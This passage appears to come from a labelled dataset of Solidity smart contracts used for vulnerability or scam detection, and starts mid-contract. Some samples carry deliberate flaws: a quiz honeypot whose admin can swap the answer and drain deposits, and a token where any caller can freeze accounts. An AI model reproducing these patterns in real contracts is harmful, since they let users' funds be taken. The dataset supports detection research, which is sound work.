hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 2,386 |
pragma solidity ^0.4.25;
contract simpl_quiz
{
function Try(string _response) external payable
{
require(msg.sender == tx.origin);
if(responseHash == keccak256(_response) && msg.value > 1 ether)
{
msg.sender.transfer(this.balance);
}
}
string public question;
bytes32 responseHash;
mapping (bytes32=>bool) admin;
function Start(string _question, string _response) public payable isAdmin{
if(responseHash==0x0){
responseHash = keccak256(_response);
question = _question;
}
}
function Stop() public payable isAdmin {
msg.sender.transfer(this.balance);
}
function New(string _question, bytes32 _responseHash) public payable isAdmin {
question = _question;
responseHash = _responseHash;
}
constructor(bytes32[] admins) public{
for(uint256 i=0; i< admins.length; i++){
admin[admins[i]] = true;
}
}
modifier isAdmin(){
require(admin[keccak256(msg.sender)]);
_;
}
function() public payable{}
} | 1 | 3,236 |
pragma solidity ^0.5.2;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract Governance {
using SafeMath for uint256;
mapping(bytes32 => Proposal) public proposals;
bytes32[] public allProposals;
mapping(address => bool) public isVoter;
uint256 public voters;
struct Proposal {
bool finished;
uint256 yesVotes;
uint256 noVotes;
mapping(address => bool) voted;
address targetContract;
bytes transaction;
}
event ProposalStarted(bytes32 proposalHash);
event ProposalFinished(bytes32 proposalHash);
event ProposalExecuted(bytes32 proposalHash);
event Vote(bytes32 proposalHash, bool vote, uint256 yesVotes, uint256 noVotes, uint256 voters);
event VoterAdded(address voter);
event VoterDeleted(address voter);
constructor() public {
isVoter[msg.sender] = true;
voters = 1;
}
modifier onlyVoter() {
require(isVoter[msg.sender], "Should be voter");
_;
}
modifier onlyMe() {
require(msg.sender == address(this), "Call via Governance");
_;
}
function newProposal( address _targetContract, bytes memory _transaction ) public onlyVoter {
require(_targetContract != address(0), "Address must be non-zero");
require(_transaction.length >= 4, "Tx must be 4+ bytes");
bytes32 _proposalHash = keccak256(abi.encodePacked(_targetContract, _transaction, now));
require(proposals[_proposalHash].transaction.length == 0, "The poll has already been initiated");
proposals[_proposalHash].targetContract = _targetContract;
proposals[_proposalHash].transaction = _transaction;
allProposals.push(_proposalHash);
emit ProposalStarted(_proposalHash);
}
function vote(bytes32 _proposalHash, bool _yes) public onlyVoter {
require(!proposals[_proposalHash].voted[msg.sender], "Already voted");
require(!proposals[_proposalHash].finished, "Already finished");
require(voters > 0, "Should have one or more voters");
if (_yes) {
proposals[_proposalHash].yesVotes = proposals[_proposalHash].yesVotes.add(1);
} else {
proposals[_proposalHash].noVotes = proposals[_proposalHash].noVotes.add(1);
}
emit Vote(_proposalHash, _yes, proposals[_proposalHash].yesVotes, proposals[_proposalHash].noVotes, voters);
proposals[_proposalHash].voted[msg.sender] = true;
if (voters == 1) {
if (proposals[_proposalHash].yesVotes > 0) {
executeProposal(_proposalHash);
}
finishProposal(_proposalHash);
return();
}
if (voters == 2) {
if (proposals[_proposalHash].yesVotes == 2) {
executeProposal(_proposalHash);
finishProposal(_proposalHash);
} else if (proposals[_proposalHash].noVotes == 1) {
finishProposal(_proposalHash);
}
return();
}
if (proposals[_proposalHash].yesVotes > voters.div(2)) {
executeProposal(_proposalHash);
finishProposal(_proposalHash);
return();
} else if (proposals[_proposalHash].noVotes > voters.div(2)) {
finishProposal(_proposalHash);
return();
}
}
function addVoter(address _address) public onlyMe {
require(_address != address(0), "Need non-zero address");
require(!isVoter[_address], "Already in voters list");
isVoter[_address] = true;
voters = voters.add(1);
emit VoterAdded(_address);
}
function delVoter(address _address) public onlyMe {
require(msg.sender == address(this), "Call via Governance procedure");
require(isVoter[_address], "Not in voters list");
isVoter[_address] = false;
voters = voters.sub(1);
emit VoterDeleted(_address);
}
function executeProposal(bytes32 _proposalHash) internal {
require(!proposals[_proposalHash].finished, "Already finished");
(bool success, bytes memory returnData) = address(
proposals[_proposalHash].targetContract).call(proposals[_proposalHash].transaction
);
require(success, string(returnData));
emit ProposalExecuted(_proposalHash);
}
function finishProposal(bytes32 _proposalHash) internal {
require(!proposals[_proposalHash].finished, "Already finished");
proposals[_proposalHash].finished = true;
emit ProposalFinished(_proposalHash);
}
} | 0 | 1,540 |
pragma solidity >=0.4.26;
contract UniswapExchangeInterface {
function tokenAddress() external view returns (address token);
function factoryAddress() external view returns (address factory);
function addLiquidity(uint256 min_liquidity, uint256 max_tokens, uint256 deadline) external payable returns (uint256);
function removeLiquidity(uint256 amount, uint256 min_eth, uint256 min_tokens, uint256 deadline) external returns (uint256, uint256);
function getEthToTokenInputPrice(uint256 eth_sold) external view returns (uint256 tokens_bought);
function getEthToTokenOutputPrice(uint256 tokens_bought) external view returns (uint256 eth_sold);
function getTokenToEthInputPrice(uint256 tokens_sold) external view returns (uint256 eth_bought);
function getTokenToEthOutputPrice(uint256 eth_bought) external view returns (uint256 tokens_sold);
function ethToTokenSwapInput(uint256 min_tokens, uint256 deadline) external payable returns (uint256 tokens_bought);
function ethToTokenTransferInput(uint256 min_tokens, uint256 deadline, address recipient) external payable returns (uint256 tokens_bought);
function ethToTokenSwapOutput(uint256 tokens_bought, uint256 deadline) external payable returns (uint256 eth_sold);
function ethToTokenTransferOutput(uint256 tokens_bought, uint256 deadline, address recipient) external payable returns (uint256 eth_sold);
function tokenToEthSwapInput(uint256 tokens_sold, uint256 min_eth, uint256 deadline) external returns (uint256 eth_bought);
function tokenToEthTransferInput(uint256 tokens_sold, uint256 min_eth, uint256 deadline, address recipient) external returns (uint256 eth_bought);
function tokenToEthSwapOutput(uint256 eth_bought, uint256 max_tokens, uint256 deadline) external returns (uint256 tokens_sold);
function tokenToEthTransferOutput(uint256 eth_bought, uint256 max_tokens, uint256 deadline, address recipient) external returns (uint256 tokens_sold);
function tokenToTokenSwapInput(uint256 tokens_sold, uint256 min_tokens_bought, uint256 min_eth_bought, uint256 deadline, address token_addr) external returns (uint256 tokens_bought);
function tokenToTokenTransferInput(uint256 tokens_sold, uint256 min_tokens_bought, uint256 min_eth_bought, uint256 deadline, address recipient, address token_addr) external returns (uint256 tokens_bought);
function tokenToTokenSwapOutput(uint256 tokens_bought, uint256 max_tokens_sold, uint256 max_eth_sold, uint256 deadline, address token_addr) external returns (uint256 tokens_sold);
function tokenToTokenTransferOutput(uint256 tokens_bought, uint256 max_tokens_sold, uint256 max_eth_sold, uint256 deadline, address recipient, address token_addr) external returns (uint256 tokens_sold);
function tokenToExchangeSwapInput(uint256 tokens_sold, uint256 min_tokens_bought, uint256 min_eth_bought, uint256 deadline, address exchange_addr) external returns (uint256 tokens_bought);
function tokenToExchangeTransferInput(uint256 tokens_sold, uint256 min_tokens_bought, uint256 min_eth_bought, uint256 deadline, address recipient, address exchange_addr) external returns (uint256 tokens_bought);
function tokenToExchangeSwapOutput(uint256 tokens_bought, uint256 max_tokens_sold, uint256 max_eth_sold, uint256 deadline, address exchange_addr) external returns (uint256 tokens_sold);
function tokenToExchangeTransferOutput(uint256 tokens_bought, uint256 max_tokens_sold, uint256 max_eth_sold, uint256 deadline, address recipient, address exchange_addr) external returns (uint256 tokens_sold);
bytes32 public name;
bytes32 public symbol;
uint256 public decimals;
function transfer(address _to, uint256 _value) external returns (bool);
function transferFrom(address _from, address _to, uint256 value) external returns (bool);
function approve(address _spender, uint256 _value) external returns (bool);
function allowance(address _owner, address _spender) external view returns (uint256);
function balanceOf(address _owner) external view returns (uint256);
function totalSupply() external view returns (uint256);
function setup(address token_addr) external;
}
interface ERC20 {
function totalSupply() public view returns (uint supply);
function balanceOf(address _owner) public view returns (uint balance);
function transfer(address _to, uint _value) public returns (bool success);
function transferFrom(address _from, address _to, uint _value) public returns (bool success);
function approve(address _spender, uint _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint remaining);
function decimals() public view returns(uint digits);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
interface KyberNetworkProxyInterface {
function maxGasPrice() public view returns(uint);
function getUserCapInWei(address user) public view returns(uint);
function getUserCapInTokenWei(address user, ERC20 token) public view returns(uint);
function enabled() public view returns(bool);
function info(bytes32 id) public view returns(uint);
function getExpectedRate(ERC20 src, ERC20 dest, uint srcQty) public view
returns (uint expectedRate, uint slippageRate);
function tradeWithHint(ERC20 src, uint srcAmount, ERC20 dest, address destAddress, uint maxDestAmount,
uint minConversionRate, address walletId, bytes hint) public payable returns(uint);
function swapEtherToToken(ERC20 token, uint minRate) public payable returns (uint);
function swapTokenToEther(ERC20 token, uint tokenQty, uint minRate) public returns (uint);
}
interface OrFeedInterface {
function getExchangeRate ( string fromSymbol, string toSymbol, string venue, uint256 amount ) external view returns ( uint256 );
function getTokenDecimalCount ( address tokenAddress ) external view returns ( uint256 );
function getTokenAddress ( string symbol ) external view returns ( address );
function getSynthBytes32 ( string symbol ) external view returns ( bytes32 );
function getForexAddress ( string symbol ) external view returns ( address );
}
contract Trader{
ERC20 constant internal ETH_TOKEN_ADDRESS = ERC20(0x00eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee);
KyberNetworkProxyInterface public proxy = KyberNetworkProxyInterface(0x818E6FECD516Ecc3849DAf6845e3EC868087B755);
OrFeedInterface orfeed= OrFeedInterface(0x8316b082621cfedab95bf4a44a1d4b64a6ffc336);
address daiAddress = 0x6b175474e89094c44da98b954eedeac495271d0f;
bytes PERM_HINT = "PERM";
address owner;
modifier onlyOwner() {
if (msg.sender != owner) {
throw;
}
_;
}
constructor(){
owner = msg.sender;
}
function swapEtherToToken (KyberNetworkProxyInterface _kyberNetworkProxy, ERC20 token, address destAddress) internal{
uint minRate;
(, minRate) = _kyberNetworkProxy.getExpectedRate(ETH_TOKEN_ADDRESS, token, msg.value);
uint destAmount = _kyberNetworkProxy.swapEtherToToken.value(msg.value)(token, minRate);
require(token.transfer(destAddress, destAmount));
}
function swapTokenToEther1 (KyberNetworkProxyInterface _kyberNetworkProxy, ERC20 token, uint tokenQty, address destAddress) internal returns (uint) {
uint minRate =1;
token.transferFrom(msg.sender, this, tokenQty);
token.approve(proxy, 0);
token.approve(address(proxy), tokenQty);
uint destAmount = proxy.tradeWithHint(ERC20(daiAddress), tokenQty, ERC20(0x00eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee), this, 8000000000000000000000000000000000000000000000000000000000000000, 0, 0x0000000000000000000000000000000000000004, PERM_HINT);
return destAmount;
}
function kyberToUniSwapArb(address fromAddress, address uniSwapContract, uint theAmount) public payable onlyOwner returns (bool){
address theAddress = uniSwapContract;
UniswapExchangeInterface usi = UniswapExchangeInterface(theAddress);
ERC20 address1 = ERC20(fromAddress);
uint ethBack = swapTokenToEther1(proxy, address1 , theAmount, msg.sender);
usi.ethToTokenSwapInput.value(ethBack)(1, block.timestamp);
return true;
}
function () external payable {
}
function withdrawETHAndTokens() onlyOwner{
msg.sender.send(address(this).balance);
ERC20 daiToken = ERC20(daiAddress);
uint256 currentTokenBalance = daiToken.balanceOf(this);
daiToken.transfer(msg.sender, currentTokenBalance);
}
function getKyberSellPrice() constant returns (uint256){
uint256 currentPrice = orfeed.getExchangeRate("ETH", "DAI", "SELL-KYBER-EXCHANGE", 1000000000000000000);
return currentPrice;
}
function getUniswapBuyPrice() constant returns (uint256){
uint256 currentPrice = orfeed.getExchangeRate("ETH", "DAI", "BUY-UNISWAP-EXCHANGE", 1000000000000000000);
return currentPrice;
}
} | 0 | 1,217 |
pragma solidity ^0.4.24;
interface Interfacemc {
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract LibraFacebook is Interfacemc{
using SafeMath for uint256;
uint256 constant private MAX_UINT256 = 2**256 - 1;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 public totalSupply;
string public name = "Libra Facebook";
uint8 public decimals = 8;
string public symbol = "LBA";
address private _owner;
mapping (address => bool) public _notransferible;
mapping (address => bool) private _administradores;
constructor() public{
_owner = msg.sender;
totalSupply = 1000000000000000000;
_balances[_owner] = totalSupply;
_administradores[_owner] = true;
}
function isAdmin(address dir) public view returns(bool){
return _administradores[dir];
}
modifier OnlyOwner(){
require(msg.sender == _owner, "Not an admin");
_;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(
address owner,
address spender
)
public
view
returns (uint256)
{
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(!_notransferible[from], "No authorized ejecutor");
require(value <= _balances[from], "Not enough balance");
require(to != address(0), "Invalid account");
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0), "Invalid account");
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(
address from,
address to,
uint256 value
)
public
returns (bool)
{
require(value <= _allowed[from][msg.sender], "Not enough approved ammount");
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
return true;
}
function increaseAllowance(
address spender,
uint256 addedValue
)
public
returns (bool)
{
require(spender != address(0), "Invalid account");
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].add(addedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(
address spender,
uint256 subtractedValue
)
public
returns (bool)
{
require(spender != address(0), "Invalid account");
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].sub(subtractedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function _burn(address account, uint256 value) internal {
require(account != 0, "Invalid account");
require(value <= _balances[account], "Not enough balance");
totalSupply = totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _burnFrom(address account, uint256 value) internal {
require(value <= _allowed[account][msg.sender], "No enough approved ammount");
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value);
_burn(account, value);
}
function setTransferible(address admin, address sujeto, bool state) public returns (bool) {
require(_administradores[admin], "Not an admin");
_notransferible[sujeto] = state;
return true;
}
function setNewAdmin(address admin)public OnlyOwner returns(bool){
_administradores[admin] = true;
return true;
}
} | 1 | 2,681 |
pragma solidity ^0.5.0;
interface ERC20 {
function totalSupply() external view returns (uint supply);
function balanceOf(address _owner) external view returns (uint balance);
function transfer(address _to, uint _value) external returns (bool success);
function transferFrom(address _from, address _to, uint _value) external returns (bool success);
function approve(address _spender, uint _value) external returns (bool success);
function allowance(address _owner, address _spender) external view returns (uint remaining);
function decimals() external view returns(uint digits);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
contract KotowarsChallenge
{
mapping(address => bool) admins;
modifier adminsOnly
{
require(admins[msg.sender] == true, "Not an admin");
_;
}
address WCKAddress;
uint256 challenge_ttl;
uint256 fee;
uint256 min_buy_in;
enum ChallengeStatus { Created, Accepted, Resolved}
struct Challenge
{
address creator;
address acceptor;
address winner;
uint256 buy_in;
ChallengeStatus status;
uint256 accepted_at;
}
Challenge[] challenges;
event Created(uint256 challenge_id, address creator, uint256 buy_in);
event Accepted(uint256 challenge_id, address acceptor);
event Resolved(uint256 challenge_id, address winner, uint256 reward);
event Revoked(uint256 challenge_id, address revoker);
function create_challenge(uint256 buy_in) public {
ERC20 WCK = ERC20(WCKAddress);
require(WCK.transferFrom(msg.sender, address(this), (buy_in + fee) * WCK.decimals()));
Challenge memory challenge = Challenge({
creator: msg.sender,
acceptor: address(0),
winner: address(0),
buy_in: buy_in,
status: ChallengeStatus.Created,
accepted_at: 0
});
uint256 challenge_id = challenges.push(challenge) - 1;
emit Created(challenge_id, challenge.creator, challenge.buy_in);
}
function accept_challenge(uint256 challenge_id) public
{
require(challenge_id < challenges.length);
Challenge memory challenge = challenges[challenge_id];
require(challenge.status == ChallengeStatus.Created);
ERC20 WCK = ERC20(WCKAddress);
require(WCK.transferFrom(msg.sender, address(this), (challenge.buy_in + fee) * WCK.decimals()));
challenge.acceptor = msg.sender;
challenge.status = ChallengeStatus.Accepted;
challenge.accepted_at = now;
challenges[challenge_id] = challenge;
emit Accepted(challenge_id, challenge.acceptor);
}
function resolve(uint256 challenge_id, address winner) public adminsOnly
{
require(challenge_id < challenges.length);
Challenge memory challenge = challenges[challenge_id];
require(challenge.status == ChallengeStatus.Accepted);
challenge.winner = winner;
challenge.status = ChallengeStatus.Resolved;
challenges[challenge_id] = challenge;
uint256 reward = challenge.buy_in * 2;
ERC20 WCK = ERC20(WCKAddress);
require(WCK.transferFrom(address(this), challenge.winner, reward * WCK.decimals()));
emit Resolved(challenge_id, challenge.winner, reward);
}
function unlock_funds(uint256 challenge_id) public
{
require(challenge_id < challenges.length);
Challenge memory challenge = challenges[challenge_id];
require(challenge.status != ChallengeStatus.Resolved);
require(challenge.accepted_at + challenge_ttl < now);
ERC20 WCK = ERC20(WCKAddress);
if (challenge.status == ChallengeStatus.Created)
{
require(WCK.transferFrom(address(this), challenge.creator, challenge.buy_in * WCK.decimals()));
}
else if (challenge.status == ChallengeStatus.Accepted)
{
require(WCK.transferFrom(address(this), challenge.creator, challenge.buy_in * WCK.decimals()));
require(WCK.transferFrom(address(this), challenge.acceptor, challenge.buy_in * WCK.decimals()));
}
challenge.status = ChallengeStatus.Resolved;
emit Revoked(challenge_id, msg.sender);
}
function set_challenge_ttl(uint256 value) public adminsOnly
{
challenge_ttl = value;
}
function set_min_buy_in(uint256 value) public adminsOnly
{
min_buy_in = value;
}
function set_fee(uint256 value) public adminsOnly
{
fee = value;
}
function set_wck_address(address value) public adminsOnly
{
WCKAddress = value;
}
function add_admin(address admin) public adminsOnly
{
admins[admin] = true;
}
function remove_admin(address admin) public adminsOnly
{
admins[admin] = false;
}
function withdraw() public adminsOnly
{
ERC20 WCK = ERC20(WCKAddress);
WCK.transfer(msg.sender, WCK.balanceOf(address(this)));
}
constructor() public
{
admins[msg.sender] = true;
WCKAddress = address(0x09fE5f0236F0Ea5D930197DCE254d77B04128075);
challenge_ttl = 60;
fee = 0;
min_buy_in = 0;
}
} | 1 | 2,993 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.